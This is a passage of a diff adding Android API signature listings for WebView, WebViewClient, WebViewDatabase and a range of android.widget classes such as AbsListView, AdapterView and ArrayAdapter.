+    method @Deprecated public boolean overlayHorizontalScrollbar();
+    method @Deprecated public boolean overlayVerticalScrollbar();
+    method public boolean pageDown(boolean);
+    method public boolean pageUp(boolean);
+    method public void pauseTimers();
+    method public void postUrl(@NonNull String, @NonNull byte[]);
+    method public void postVisualStateCallback(long, @NonNull android.webkit.WebView.VisualStateCallback);
+    method public void postWebMessage(@NonNull android.webkit.WebMessage, @NonNull android.net.Uri);
+    method public void reload();
+    method public void removeJavascriptInterface(@NonNull String);
+    method public void requestFocusNodeHref(@Nullable android.os.Message);
+    method public void requestImageRef(@NonNull android.os.Message);
+    method @Nullable public android.webkit.WebBackForwardList restoreState(@NonNull android.os.Bundle);
+    method public void resumeTimers();
+    method @Deprecated public void savePassword(String, String, String);
+    method @Nullable public android.webkit.WebBackForwardList saveState(@NonNull android.os.Bundle);
+    method public void saveWebArchive(@NonNull String);
+    method public void saveWebArchive(@NonNull String, boolean, @Nullable android.webkit.ValueCallback<java.lang.String>);
+    method @Deprecated public void setCertificate(android.net.http.SslCertificate);
+    method public static void setDataDirectorySuffix(@NonNull String);
+    method public void setDownloadListener(@Nullable android.webkit.DownloadListener);
+    method public void setFindListener(@Nullable android.webkit.WebView.FindListener);
+    method @Deprecated public void setHorizontalScrollbarOverlay(boolean);
+    method @Deprecated public void setHttpAuthUsernamePassword(String, String, String, String);
+    method public void setInitialScale(int);
+    method @Deprecated public void setMapTrackballToArrowKeys(boolean);
+    method public void setNetworkAvailable(boolean);
+    method @Deprecated public void setPictureListener(android.webkit.WebView.PictureListener);
+    method public void setRendererPriorityPolicy(int, boolean);
+    method public static void setSafeBrowsingWhitelist(@NonNull java.util.List<java.lang.String>, @Nullable android.webkit.ValueCallback<java.lang.Boolean>);
+    method public void setTextClassifier(@Nullable android.view.textclassifier.TextClassifier);
+    method @Deprecated public void setVerticalScrollbarOverlay(boolean);
+    method public void setWebChromeClient(@Nullable android.webkit.WebChromeClient);
+    method public static void setWebContentsDebuggingEnabled(boolean);
+    method public void setWebViewClient(@NonNull android.webkit.WebViewClient);
+    method public void setWebViewRenderProcessClient(@NonNull java.util.concurrent.Executor, @NonNull android.webkit.WebViewRenderProcessClient);
+    method public void setWebViewRenderProcessClient(@Nullable android.webkit.WebViewRenderProcessClient);
+    method @Deprecated public boolean shouldDelayChildPressedState();
+    method @Deprecated public boolean showFindDialog(@Nullable String, boolean);
+    method public static void startSafeBrowsing(@NonNull android.content.Context, @Nullable android.webkit.ValueCallback<java.lang.Boolean>);
+    method public void stopLoading();
+    method public void zoomBy(float);
+    method public boolean zoomIn();
+    method public boolean zoomOut();
+    field public static final int RENDERER_PRIORITY_BOUND = 1; // 0x1
+    field public static final int RENDERER_PRIORITY_IMPORTANT = 2; // 0x2
+    field public static final int RENDERER_PRIORITY_WAIVED = 0; // 0x0
+    field public static final String SCHEME_GEO = "geo:0,0?q=";
+    field public static final String SCHEME_MAILTO = "mailto:";
+    field public static final String SCHEME_TEL = "tel:";
+  }
+
+  public static interface WebView.FindListener {
+    method public void onFindResultReceived(int, int, boolean);
+  }
+
+  public static class WebView.HitTestResult {
+    method @Nullable public String getExtra();
+    method public int getType();
+    field @Deprecated public static final int ANCHOR_TYPE = 1; // 0x1
+    field public static final int EDIT_TEXT_TYPE = 9; // 0x9
+    field public static final int EMAIL_TYPE = 4; // 0x4
+    field public static final int GEO_TYPE = 3; // 0x3
+    field @Deprecated public static final int IMAGE_ANCHOR_TYPE = 6; // 0x6
+    field public static final int IMAGE_TYPE = 5; // 0x5
+    field public static final int PHONE_TYPE = 2; // 0x2
+    field public static final int SRC_ANCHOR_TYPE = 7; // 0x7
+    field public static final int SRC_IMAGE_ANCHOR_TYPE = 8; // 0x8
+    field public static final int UNKNOWN_TYPE = 0; // 0x0
+  }
+
+  @Deprecated public static interface WebView.PictureListener {
+    method @Deprecated public void onNewPicture(android.webkit.WebView, @Nullable android.graphics.Picture);
+  }
+
+  public abstract static class WebView.VisualStateCallback {
+    ctor public WebView.VisualStateCallback();
+    method public abstract void onComplete(long);
+  }
+
+  public class WebView.WebViewTransport {
+    ctor public WebView.WebViewTransport();
+    method @Nullable public android.webkit.WebView getWebView();
+    method public void setWebView(@Nullable android.webkit.WebView);
+  }
+
+  public class WebViewClient {
+    ctor public WebViewClient();
+    method public void doUpdateVisitedHistory(android.webkit.WebView, String, boolean);
+    method public void onFormResubmission(android.webkit.WebView, android.os.Message, android.os.Message);
+    method public void onLoadResource(android.webkit.WebView, String);
+    method public void onPageCommitVisible(android.webkit.WebView, String);
+    method public void onPageFinished(android.webkit.WebView, String);
+    method public void onPageStarted(android.webkit.WebView, String, android.graphics.Bitmap);
+    method public void onReceivedClientCertRequest(android.webkit.WebView, android.webkit.ClientCertRequest);
+    method @Deprecated public void onReceivedError(android.webkit.WebView, int, String, String);
+    method public void onReceivedError(android.webkit.WebView, android.webkit.WebResourceRequest, android.webkit.WebResourceError);
+    method public void onReceivedHttpAuthRequest(android.webkit.WebView, android.webkit.HttpAuthHandler, String, String);
+    method public void onReceivedHttpError(android.webkit.WebView, android.webkit.WebResourceRequest, android.webkit.WebResourceResponse);
+    method public void onReceivedLoginRequest(android.webkit.WebView, String, @Nullable String, String);
+    method public void onReceivedSslError(android.webkit.WebView, android.webkit.SslErrorHandler, android.net.http.SslError);
+    method public boolean onRenderProcessGone(android.webkit.WebView, android.webkit.RenderProcessGoneDetail);
+    method public void onSafeBrowsingHit(android.webkit.WebView, android.webkit.WebResourceRequest, int, android.webkit.SafeBrowsingResponse);
+    method public void onScaleChanged(android.webkit.WebView, float, float);
+    method @Deprecated public void onTooManyRedirects(android.webkit.WebView, android.os.Message, android.os.Message);
+    method public void onUnhandledKeyEvent(android.webkit.WebView, android.view.KeyEvent);
+    method @Deprecated @Nullable public android.webkit.WebResourceResponse shouldInterceptRequest(android.webkit.WebView, String);
+    method @Nullable public android.webkit.WebResourceResponse shouldInterceptRequest(android.webkit.WebView, android.webkit.WebResourceRequest);
+    method public boolean shouldOverrideKeyEvent(android.webkit.WebView, android.view.KeyEvent);
+    method @Deprecated public boolean shouldOverrideUrlLoading(android.webkit.WebView, String);
+    method public boolean shouldOverrideUrlLoading(android.webkit.WebView, android.webkit.WebResourceRequest);
+    field public static final int ERROR_AUTHENTICATION = -4; // 0xfffffffc
+    field public static final int ERROR_BAD_URL = -12; // 0xfffffff4
+    field public static final int ERROR_CONNECT = -6; // 0xfffffffa
+    field public static final int ERROR_FAILED_SSL_HANDSHAKE = -11; // 0xfffffff5
+    field public static final int ERROR_FILE = -13; // 0xfffffff3
+    field public static final int ERROR_FILE_NOT_FOUND = -14; // 0xfffffff2
+    field public static final int ERROR_HOST_LOOKUP = -2; // 0xfffffffe
+    field public static final int ERROR_IO = -7; // 0xfffffff9
+    field public static final int ERROR_PROXY_AUTHENTICATION = -5; // 0xfffffffb
+    field public static final int ERROR_REDIRECT_LOOP = -9; // 0xfffffff7
+    field public static final int ERROR_TIMEOUT = -8; // 0xfffffff8
+    field public static final int ERROR_TOO_MANY_REQUESTS = -15; // 0xfffffff1
+    field public static final int ERROR_UNKNOWN = -1; // 0xffffffff
+    field public static final int ERROR_UNSAFE_RESOURCE = -16; // 0xfffffff0
+    field public static final int ERROR_UNSUPPORTED_AUTH_SCHEME = -3; // 0xfffffffd
+    field public static final int ERROR_UNSUPPORTED_SCHEME = -10; // 0xfffffff6
+    field public static final int SAFE_BROWSING_THREAT_BILLING = 4; // 0x4
+    field public static final int SAFE_BROWSING_THREAT_MALWARE = 1; // 0x1
+    field public static final int SAFE_BROWSING_THREAT_PHISHING = 2; // 0x2
+    field public static final int SAFE_BROWSING_THREAT_UNKNOWN = 0; // 0x0
+    field public static final int SAFE_BROWSING_THREAT_UNWANTED_SOFTWARE = 3; // 0x3
+  }
+
+  public abstract class WebViewDatabase {
+    ctor @Deprecated public WebViewDatabase();
+    method @Deprecated public abstract void clearFormData();
+    method public abstract void clearHttpAuthUsernamePassword();
+    method @Deprecated public abstract void clearUsernamePassword();
+    method @Nullable public abstract String[] getHttpAuthUsernamePassword(String, String);
+    method public static android.webkit.WebViewDatabase getInstance(android.content.Context);
+    method @Deprecated public abstract boolean hasFormData();
+    method public abstract boolean hasHttpAuthUsernamePassword();
+    method @Deprecated public abstract boolean hasUsernamePassword();
+    method public abstract void setHttpAuthUsernamePassword(String, String, String, String);
+  }
+
+  @Deprecated public class WebViewFragment extends android.app.Fragment {
+    ctor @Deprecated public WebViewFragment();
+    method @Deprecated public android.webkit.WebView getWebView();
+  }
+
+  public abstract class WebViewRenderProcess {
+    ctor public WebViewRenderProcess();
+    method public abstract boolean terminate();
+  }
+
+  public abstract class WebViewRenderProcessClient {
+    ctor public WebViewRenderProcessClient();
+    method public abstract void onRenderProcessResponsive(@NonNull android.webkit.WebView, @Nullable android.webkit.WebViewRenderProcess);
+    method public abstract void onRenderProcessUnresponsive(@NonNull android.webkit.WebView, @Nullable android.webkit.WebViewRenderProcess);
+  }
+
+}
+
+package android.widget {
+
+  public abstract class AbsListView extends android.widget.AdapterView<android.widget.ListAdapter> implements android.widget.Filter.FilterListener android.text.TextWatcher android.view.ViewTreeObserver.OnGlobalLayoutListener android.view.ViewTreeObserver.OnTouchModeChangeListener {
+    ctor public AbsListView(android.content.Context);
+    ctor public AbsListView(android.content.Context, android.util.AttributeSet);
+    ctor public AbsListView(android.content.Context, android.util.AttributeSet, int);
+    ctor public AbsListView(android.content.Context, android.util.AttributeSet, int, int);
+    method public void afterTextChanged(android.text.Editable);
+    method public void beforeTextChanged(CharSequence, int, int, int);
+    method public boolean canScrollList(int);
+    method public void clearChoices();
+    method public void clearTextFilter();
+    method public void deferNotifyDataSetChanged();
+    method public void fling(int);
+    method public android.widget.AbsListView.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method @ColorInt public int getBottomEdgeEffectColor();
+    method @ColorInt public int getCacheColorHint();
+    method public int getCheckedItemCount();
+    method public long[] getCheckedItemIds();
+    method public int getCheckedItemPosition();
+    method public android.util.SparseBooleanArray getCheckedItemPositions();
+    method public int getChoiceMode();
+    method public int getListPaddingBottom();
+    method public int getListPaddingLeft();
+    method public int getListPaddingRight();
+    method public int getListPaddingTop();
+    method public android.view.View getSelectedView();
+    method public android.graphics.drawable.Drawable getSelector();
+    method public CharSequence getTextFilter();
+    method @ColorInt public int getTopEdgeEffectColor();
+    method public int getTranscriptMode();
+    method protected void handleDataChanged();
+    method public boolean hasTextFilter();
+    method public void invalidateViews();
+    method public boolean isDrawSelectorOnTop();
+    method public boolean isFastScrollAlwaysVisible();
+    method public boolean isFastScrollEnabled();
+    method protected boolean isInFilterMode();
+    method public boolean isItemChecked(int);
+    method public boolean isScrollingCacheEnabled();
+    method public boolean isSmoothScrollbarEnabled();
+    method public boolean isStackFromBottom();
+    method public boolean isTextFilterEnabled();
+    method protected void layoutChildren();
+    method public void onFilterComplete(int);
+    method public void onGlobalLayout();
+    method public void onInitializeAccessibilityNodeInfoForItem(android.view.View, int, android.view.accessibility.AccessibilityNodeInfo);
+    method public boolean onRemoteAdapterConnected();
+    method public void onRemoteAdapterDisconnected();
+    method public void onRestoreInstanceState(android.os.Parcelable);
+    method public android.os.Parcelable onSaveInstanceState();
+    method public void onTextChanged(CharSequence, int, int, int);
+    method public void onTouchModeChanged(boolean);
+    method public int pointToPosition(int, int);
+    method public long pointToRowId(int, int);
+    method public void reclaimViews(java.util.List<android.view.View>);
+    method public void scrollListBy(int);
+    method public void setAdapter(android.widget.ListAdapter);
+    method public void setBottomEdgeEffectColor(@ColorInt int);
+    method public void setCacheColorHint(@ColorInt int);
+    method public void setChoiceMode(int);
+    method public void setDrawSelectorOnTop(boolean);
+    method public void setEdgeEffectColor(@ColorInt int);
+    method public void setFastScrollAlwaysVisible(boolean);
+    method public void setFastScrollEnabled(boolean);
+    method public void setFastScrollStyle(int);
+    method public void setFilterText(String);
+    method public void setFriction(float);
+    method public void setItemChecked(int, boolean);
+    method public void setMultiChoiceModeListener(android.widget.AbsListView.MultiChoiceModeListener);
+    method public void setOnScrollListener(android.widget.AbsListView.OnScrollListener);
+    method public void setRecyclerListener(android.widget.AbsListView.RecyclerListener);
+    method public void setRemoteViewsAdapter(android.content.Intent);
+    method public void setScrollIndicators(android.view.View, android.view.View);
+    method public void setScrollingCacheEnabled(boolean);
+    method public void setSelectionFromTop(int, int);
+    method public void setSelector(@DrawableRes int);
+    method public void setSelector(android.graphics.drawable.Drawable);
+    method public void setSmoothScrollbarEnabled(boolean);
+    method public void setStackFromBottom(boolean);
+    method public void setTextFilterEnabled(boolean);
+    method public void setTopEdgeEffectColor(@ColorInt int);
+    method public void setTranscriptMode(int);
+    method public void setVelocityScale(float);
+    method public void smoothScrollBy(int, int);
+    method public void smoothScrollToPosition(int);
+    method public void smoothScrollToPosition(int, int);
+    method public void smoothScrollToPositionFromTop(int, int, int);
+    method public void smoothScrollToPositionFromTop(int, int);
+    method public boolean verifyDrawable(@NonNull android.graphics.drawable.Drawable);
+    field public static final int CHOICE_MODE_MULTIPLE = 2; // 0x2
+    field public static final int CHOICE_MODE_MULTIPLE_MODAL = 3; // 0x3
+    field public static final int CHOICE_MODE_NONE = 0; // 0x0
+    field public static final int CHOICE_MODE_SINGLE = 1; // 0x1
+    field public static final int TRANSCRIPT_MODE_ALWAYS_SCROLL = 2; // 0x2
+    field public static final int TRANSCRIPT_MODE_DISABLED = 0; // 0x0
+    field public static final int TRANSCRIPT_MODE_NORMAL = 1; // 0x1
+  }
+
+  public static class AbsListView.LayoutParams extends android.view.ViewGroup.LayoutParams {
+    ctor public AbsListView.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public AbsListView.LayoutParams(int, int);
+    ctor public AbsListView.LayoutParams(int, int, int);
+    ctor public AbsListView.LayoutParams(android.view.ViewGroup.LayoutParams);
+  }
+
+  public static interface AbsListView.MultiChoiceModeListener extends android.view.ActionMode.Callback {
+    method public void onItemCheckedStateChanged(android.view.ActionMode, int, long, boolean);
+  }
+
+  public static interface AbsListView.OnScrollListener {
+    method public void onScroll(android.widget.AbsListView, int, int, int);
+    method public void onScrollStateChanged(android.widget.AbsListView, int);
+    field public static final int SCROLL_STATE_FLING = 2; // 0x2
+    field public static final int SCROLL_STATE_IDLE = 0; // 0x0
+    field public static final int SCROLL_STATE_TOUCH_SCROLL = 1; // 0x1
+  }
+
+  public static interface AbsListView.RecyclerListener {
+    method public void onMovedToScrapHeap(android.view.View);
+  }
+
+  public static interface AbsListView.SelectionBoundsAdjuster {
+    method public void adjustListItemSelectionBounds(android.graphics.Rect);
+  }
+
+  public abstract class AbsSeekBar extends android.widget.ProgressBar {
+    ctor public AbsSeekBar(android.content.Context);
+    ctor public AbsSeekBar(android.content.Context, android.util.AttributeSet);
+    ctor public AbsSeekBar(android.content.Context, android.util.AttributeSet, int);
+    ctor public AbsSeekBar(android.content.Context, android.util.AttributeSet, int, int);
+    method public int getKeyProgressIncrement();
+    method public boolean getSplitTrack();
+    method public android.graphics.drawable.Drawable getThumb();
+    method public int getThumbOffset();
+    method @Nullable public android.graphics.BlendMode getThumbTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getThumbTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getThumbTintMode();
+    method public android.graphics.drawable.Drawable getTickMark();
+    method @Nullable public android.graphics.BlendMode getTickMarkTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getTickMarkTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getTickMarkTintMode();
+    method public void setKeyProgressIncrement(int);
+    method public void setSplitTrack(boolean);
+    method public void setThumb(android.graphics.drawable.Drawable);
+    method public void setThumbOffset(int);
+    method public void setThumbTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setThumbTintList(@Nullable android.content.res.ColorStateList);
+    method public void setThumbTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setTickMark(android.graphics.drawable.Drawable);
+    method public void setTickMarkTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setTickMarkTintList(@Nullable android.content.res.ColorStateList);
+    method public void setTickMarkTintMode(@Nullable android.graphics.PorterDuff.Mode);
+  }
+
+  public abstract class AbsSpinner extends android.widget.AdapterView<android.widget.SpinnerAdapter> {
+    ctor public AbsSpinner(android.content.Context);
+    ctor public AbsSpinner(android.content.Context, android.util.AttributeSet);
+    ctor public AbsSpinner(android.content.Context, android.util.AttributeSet, int);
+    ctor public AbsSpinner(android.content.Context, android.util.AttributeSet, int, int);
+    method public android.widget.SpinnerAdapter getAdapter();
+    method public android.view.View getSelectedView();
+    method public void onRestoreInstanceState(android.os.Parcelable);
+    method public android.os.Parcelable onSaveInstanceState();
+    method public int pointToPosition(int, int);
+    method public void setAdapter(android.widget.SpinnerAdapter);
+    method public void setSelection(int, boolean);
+    method public void setSelection(int);
+  }
+
+  @Deprecated @android.widget.RemoteViews.RemoteView public class AbsoluteLayout extends android.view.ViewGroup {
+    ctor @Deprecated public AbsoluteLayout(android.content.Context);
+    ctor @Deprecated public AbsoluteLayout(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public AbsoluteLayout(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public AbsoluteLayout(android.content.Context, android.util.AttributeSet, int, int);
+  }
+
+  @Deprecated public static class AbsoluteLayout.LayoutParams extends android.view.ViewGroup.LayoutParams {
+    ctor @Deprecated public AbsoluteLayout.LayoutParams(int, int, int, int);
+    ctor @Deprecated public AbsoluteLayout.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public AbsoluteLayout.LayoutParams(android.view.ViewGroup.LayoutParams);
+    method @Deprecated public String debug(String);
+    field @Deprecated public int x;
+    field @Deprecated public int y;
+  }
+
+  public class ActionMenuView extends android.widget.LinearLayout {
+    ctor public ActionMenuView(android.content.Context);
+    ctor public ActionMenuView(android.content.Context, android.util.AttributeSet);
+    method public void dismissPopupMenus();
+    method protected android.widget.ActionMenuView.LayoutParams generateDefaultLayoutParams();
+    method public android.widget.ActionMenuView.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method protected android.widget.ActionMenuView.LayoutParams generateLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public android.view.Menu getMenu();
+    method @Nullable public android.graphics.drawable.Drawable getOverflowIcon();
+    method public int getPopupTheme();
+    method public boolean hideOverflowMenu();
+    method public boolean isOverflowMenuShowing();
+    method public void onConfigurationChanged(android.content.res.Configuration);
+    method public void onDetachedFromWindow();
+    method public void setOnMenuItemClickListener(android.widget.ActionMenuView.OnMenuItemClickListener);
+    method public void setOverflowIcon(@Nullable android.graphics.drawable.Drawable);
+    method public void setPopupTheme(@StyleRes int);
+    method public boolean showOverflowMenu();
+  }
+
+  public static class ActionMenuView.LayoutParams extends android.widget.LinearLayout.LayoutParams {
+    ctor public ActionMenuView.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public ActionMenuView.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public ActionMenuView.LayoutParams(android.widget.ActionMenuView.LayoutParams);
+    ctor public ActionMenuView.LayoutParams(int, int);
+  }
+
+  public static interface ActionMenuView.OnMenuItemClickListener {
+    method public boolean onMenuItemClick(android.view.MenuItem);
+  }
+
+  public interface Adapter {
+    method @Nullable public default CharSequence[] getAutofillOptions();
+    method public int getCount();
+    method public Object getItem(int);
+    method public long getItemId(int);
+    method public int getItemViewType(int);
+    method public android.view.View getView(int, android.view.View, android.view.ViewGroup);
+    method public int getViewTypeCount();
+    method public boolean hasStableIds();
+    method public boolean isEmpty();
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+    field public static final int IGNORE_ITEM_VIEW_TYPE = -1; // 0xffffffff
+    field public static final int NO_SELECTION = -2147483648; // 0x80000000
+  }
+
+  public abstract class AdapterView<T extends android.widget.Adapter> extends android.view.ViewGroup {
+    ctor public AdapterView(android.content.Context);
+    ctor public AdapterView(android.content.Context, android.util.AttributeSet);
+    ctor public AdapterView(android.content.Context, android.util.AttributeSet, int);
+    ctor public AdapterView(android.content.Context, android.util.AttributeSet, int, int);
+    method public abstract T getAdapter();
+    method public int getCount();
+    method public android.view.View getEmptyView();
+    method public int getFirstVisiblePosition();
+    method public Object getItemAtPosition(int);
+    method public long getItemIdAtPosition(int);
+    method public int getLastVisiblePosition();
+    method @Nullable public final android.widget.AdapterView.OnItemClickListener getOnItemClickListener();
+    method public final android.widget.AdapterView.OnItemLongClickListener getOnItemLongClickListener();
+    method @Nullable public final android.widget.AdapterView.OnItemSelectedListener getOnItemSelectedListener();
+    method public int getPositionForView(android.view.View);
+    method public Object getSelectedItem();
+    method public long getSelectedItemId();
+    method public int getSelectedItemPosition();
+    method public abstract android.view.View getSelectedView();
+    method public boolean performItemClick(android.view.View, int, long);
+    method public abstract void setAdapter(T);
+    method public void setEmptyView(android.view.View);
+    method public void setOnItemClickListener(@Nullable android.widget.AdapterView.OnItemClickListener);
+    method public void setOnItemLongClickListener(android.widget.AdapterView.OnItemLongClickListener);
+    method public void setOnItemSelectedListener(@Nullable android.widget.AdapterView.OnItemSelectedListener);
+    method public abstract void setSelection(int);
+    field public static final int INVALID_POSITION = -1; // 0xffffffff
+    field public static final long INVALID_ROW_ID = -9223372036854775808L; // 0x8000000000000000L
+    field public static final int ITEM_VIEW_TYPE_HEADER_OR_FOOTER = -2; // 0xfffffffe
+    field public static final int ITEM_VIEW_TYPE_IGNORE = -1; // 0xffffffff
+  }
+
+  public static class AdapterView.AdapterContextMenuInfo implements android.view.ContextMenu.ContextMenuInfo {
+    ctor public AdapterView.AdapterContextMenuInfo(android.view.View, int, long);
+    field public long id;
+    field public int position;
+    field public android.view.View targetView;
+  }
+
+  public static interface AdapterView.OnItemClickListener {
+    method public void onItemClick(android.widget.AdapterView<?>, android.view.View, int, long);
+  }
+
+  public static interface AdapterView.OnItemLongClickListener {
+    method public boolean onItemLongClick(android.widget.AdapterView<?>, android.view.View, int, long);
+  }
+
+  public static interface AdapterView.OnItemSelectedListener {
+    method public void onItemSelected(android.widget.AdapterView<?>, android.view.View, int, long);
+    method public void onNothingSelected(android.widget.AdapterView<?>);
+  }
+
+  public abstract class AdapterViewAnimator extends android.widget.AdapterView<android.widget.Adapter> implements android.widget.Advanceable {
+    ctor public AdapterViewAnimator(android.content.Context);
+    ctor public AdapterViewAnimator(android.content.Context, android.util.AttributeSet);
+    ctor public AdapterViewAnimator(android.content.Context, android.util.AttributeSet, int);
+    ctor public AdapterViewAnimator(android.content.Context, android.util.AttributeSet, int, int);
+    method public void advance();
+    method public void deferNotifyDataSetChanged();
+    method public void fyiWillBeAdvancedByHostKThx();
+    method public android.widget.Adapter getAdapter();
+    method public android.view.View getCurrentView();
+    method public int getDisplayedChild();
+    method public android.animation.ObjectAnimator getInAnimation();
+    method public android.animation.ObjectAnimator getOutAnimation();
+    method public android.view.View getSelectedView();
+    method public boolean onRemoteAdapterConnected();
+    method public void onRemoteAdapterDisconnected();
+    method public void onRestoreInstanceState(android.os.Parcelable);
+    method public android.os.Parcelable onSaveInstanceState();
+    method public void setAdapter(android.widget.Adapter);
+    method public void setAnimateFirstView(boolean);
+    method public void setDisplayedChild(int);
+    method public void setInAnimation(android.animation.ObjectAnimator);
+    method public void setInAnimation(android.content.Context, int);
+    method public void setOutAnimation(android.animation.ObjectAnimator);
+    method public void setOutAnimation(android.content.Context, int);
+    method public void setRemoteViewsAdapter(android.content.Intent);
+    method public void setSelection(int);
+    method public void showNext();
+    method public void showPrevious();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class AdapterViewFlipper extends android.widget.AdapterViewAnimator {
+    ctor public AdapterViewFlipper(android.content.Context);
+    ctor public AdapterViewFlipper(android.content.Context, android.util.AttributeSet);
+    ctor public AdapterViewFlipper(android.content.Context, android.util.AttributeSet, int);
+    ctor public AdapterViewFlipper(android.content.Context, android.util.AttributeSet, int, int);
+    method public int getFlipInterval();
+    method public boolean isAutoStart();
+    method public boolean isFlipping();
+    method public void setAutoStart(boolean);
+    method public void setFlipInterval(int);
+    method public void startFlipping();
+    method public void stopFlipping();
+  }
+
+  public interface Advanceable {
+    method public void advance();
+    method public void fyiWillBeAdvancedByHostKThx();
+  }
+
+  public class AlphabetIndexer extends android.database.DataSetObserver implements android.widget.SectionIndexer {
+    ctor public AlphabetIndexer(android.database.Cursor, int, CharSequence);
+    method protected int compare(String, String);
+    method public int getPositionForSection(int);
+    method public int getSectionForPosition(int);
+    method public Object[] getSections();
+    method public void setCursor(android.database.Cursor);
+    field protected CharSequence mAlphabet;
+    field protected int mColumnIndex;
+    field protected android.database.Cursor mDataCursor;
+  }
+
+  @Deprecated @android.widget.RemoteViews.RemoteView public class AnalogClock extends android.view.View {
+    ctor @Deprecated public AnalogClock(android.content.Context);
+    ctor @Deprecated public AnalogClock(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public AnalogClock(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public AnalogClock(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated @Nullable public android.graphics.BlendMode getDialTintBlendMode();
+    method @Deprecated @Nullable public android.content.res.ColorStateList getDialTintList();
+    method @Deprecated @Nullable public android.graphics.BlendMode getHourHandTintBlendMode();
+    method @Deprecated @Nullable public android.content.res.ColorStateList getHourHandTintList();
+    method @Deprecated @Nullable public android.graphics.BlendMode getMinuteHandTintBlendMode();
+    method @Deprecated @Nullable public android.content.res.ColorStateList getMinuteHandTintList();
+    method @Deprecated @Nullable public android.graphics.BlendMode getSecondHandTintBlendMode();
+    method @Deprecated @Nullable public android.content.res.ColorStateList getSecondHandTintList();
+    method @Deprecated @Nullable public String getTimeZone();
+    method @Deprecated public void setDial(@NonNull android.graphics.drawable.Icon);
+    method @Deprecated public void setDialTintBlendMode(@Nullable android.graphics.BlendMode);
+    method @Deprecated public void setDialTintList(@Nullable android.content.res.ColorStateList);
+    method @Deprecated public void setHourHand(@NonNull android.graphics.drawable.Icon);
+    method @Deprecated public void setHourHandTintBlendMode(@Nullable android.graphics.BlendMode);
+    method @Deprecated public void setHourHandTintList(@Nullable android.content.res.ColorStateList);
+    method @Deprecated public void setMinuteHand(@NonNull android.graphics.drawable.Icon);
+    method @Deprecated public void setMinuteHandTintBlendMode(@Nullable android.graphics.BlendMode);
+    method @Deprecated public void setMinuteHandTintList(@Nullable android.content.res.ColorStateList);
+    method @Deprecated public void setSecondHand(@Nullable android.graphics.drawable.Icon);
+    method @Deprecated public void setSecondHandTintBlendMode(@Nullable android.graphics.BlendMode);
+    method @Deprecated public void setSecondHandTintList(@Nullable android.content.res.ColorStateList);
+    method @Deprecated public void setTimeZone(@Nullable String);
+  }
+
+  public class ArrayAdapter<T> extends android.widget.BaseAdapter implements android.widget.Filterable android.widget.ThemedSpinnerAdapter {
+    ctor public ArrayAdapter(@NonNull android.content.Context, @LayoutRes int);
+    ctor public ArrayAdapter(@NonNull android.content.Context, @LayoutRes int, @IdRes int);
+    ctor public ArrayAdapter(@NonNull android.content.Context, @LayoutRes int, @NonNull T[]);
+    ctor public ArrayAdapter(@NonNull android.content.Context, @LayoutRes int, @IdRes int, @NonNull T[]);
+    ctor public ArrayAdapter(@NonNull android.content.Context, @LayoutRes int, @NonNull java.util.List<T>);
+    ctor public ArrayAdapter(@NonNull android.content.Context, @LayoutRes int, @IdRes int, @NonNull java.util.List<T>);
+    method public void add(@Nullable T);
+    method public void addAll(@NonNull java.util.Collection<? extends T>);
+    method public void addAll(T...);
+    method public void clear();
+    method @NonNull public static android.widget.ArrayAdapter<java.lang.CharSequence> createFromResource(@NonNull android.content.Context, @ArrayRes int, @LayoutRes int);
+    method @NonNull public android.content.Context getContext();
+    method public int getCount();
+    method @Nullable public android.content.res.Resources.Theme getDropDownViewTheme();
+    method @NonNull public android.widget.Filter getFilter();
+    method @Nullable public T getItem(int);
+    method public long getItemId(int);
+    method public int getPosition(@Nullable T);
+    method @NonNull public android.view.View getView(int, @Nullable android.view.View, @NonNull android.view.ViewGroup);
+    method public void insert(@Nullable T, int);
+    method public void remove(@Nullable T);
+    method public void setDropDownViewResource(@LayoutRes int);
+    method public void setDropDownViewTheme(@Nullable android.content.res.Resources.Theme);
+    method public void setNotifyOnChange(boolean);
+    method public void sort(@NonNull java.util.Comparator<? super T>);
+  }
+
+  public class AutoCompleteTextView extends android.widget.EditText implements android.widget.Filter.FilterListener {
+    ctor public AutoCompleteTextView(android.content.Context);
+    ctor public AutoCompleteTextView(android.content.Context, android.util.AttributeSet);
+    ctor public AutoCompleteTextView(android.content.Context, android.util.AttributeSet, int);
+    ctor public AutoCompleteTextView(android.content.Context, android.util.AttributeSet, int, int);
+    ctor public AutoCompleteTextView(android.content.Context, android.util.AttributeSet, int, int, android.content.res.Resources.Theme);
+    method public void clearListSelection();
+    method protected CharSequence convertSelectionToString(Object);
+    method public void dismissDropDown();
+    method public boolean enoughToFilter();
+    method public android.widget.ListAdapter getAdapter();
+    method public CharSequence getCompletionHint();
+    method public int getDropDownAnchor();
+    method public android.graphics.drawable.Drawable getDropDownBackground();
+    method public int getDropDownHeight();
+    method public int getDropDownHorizontalOffset();
+    method public int getDropDownVerticalOffset();
+    method public int getDropDownWidth();
+    method protected android.widget.Filter getFilter();
+    method public int getInputMethodMode();
+    method @Deprecated public android.widget.AdapterView.OnItemClickListener getItemClickListener();
+    method @Deprecated public android.widget.AdapterView.OnItemSelectedListener getItemSelectedListener();
+    method public int getListSelection();
+    method public android.widget.AdapterView.OnItemClickListener getOnItemClickListener();
+    method public android.widget.AdapterView.OnItemSelectedListener getOnItemSelectedListener();
+    method public int getThreshold();
+    method public android.widget.AutoCompleteTextView.Validator getValidator();
